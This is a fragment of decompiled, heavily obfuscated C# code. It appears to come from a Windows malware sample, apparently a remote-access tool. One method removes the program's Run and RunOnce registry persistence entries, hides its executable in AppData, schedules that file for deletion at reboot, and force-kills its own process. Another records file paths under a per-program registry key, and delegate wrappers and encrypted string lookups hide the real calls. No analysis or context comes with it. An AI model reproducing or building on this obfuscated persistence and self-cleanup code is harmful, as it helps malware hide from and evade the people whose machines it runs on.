public void method_24() { string text = Delegate120.smethod_0(Environment.SpecialFolder.ApplicationData); string string_ = Delegate125.smethod_0(text, "\\", this.string_3, ".exe"); string text2 = Delegate125.smethod_0(text, "\\", this.string_3, ".bmp"); string text3 = Delegate124.smethod_0("/F /IM ", Delegate123.smethod_1(Delegate122.smethod_0(Delegate121.smethod_0()))); RegistryKey registryKey = Delegate173.smethod_0(Registry.CurrentUser, "Software", true); RegistryKey registryKey2 = Delegate173.smethod_0(Registry.CurrentUser, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); RegistryKey registryKey3 = Delegate173.smethod_0(Registry.CurrentUser, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true); if (registryKey2 != null) { Delegate198.smethod_0(registryKey2, this.string_3); } if (registryKey3 != null) { Delegate198.smethod_0(registryKey3, Delegate124.smethod_0("*", this.string_3)); } if (registryKey != null) { Delegate198.smethod_1(registryKey, this.string_3); } if (Delegate129.smethod_1(string_)) { Delegate128.smethod_0(string_, FileAttributes.Hidden); GClass0.MoveFileEx(string_, null, 4); try { Delegate100.smethod_1(text2); } catch (Exception) { } } ProcessStartInfo processStartInfo = Delegate21.smethod_0(); Delegate132.smethod_0(processStartInfo, false); Delegate132.smethod_1(processStartInfo, true); Delegate131.smethod_0(processStartInfo, "taskkill"); Delegate131.smethod_1(processStartInfo, text3); Delegate133.smethod_0(processStartInfo); }
public bool method_21(string string_7) { string text = Delegate88.smethod_0(Class3.smethod_1 <string>(1465117900u, 11523132775189630644uL), this.string_3, "\\Files"); RegistryKey registryKey = Delegate173.smethod_0(Registry.CurrentUser, text, true); if (!Delegate129.smethod_1(string_7)) { Delegate198.smethod_0(registryKey, string_7); return(false); } try { this.method_18(string_7); } catch (Exception) { } if (registryKey != null) { Delegate198.smethod_0(registryKey, string_7); return(true); } return(false); }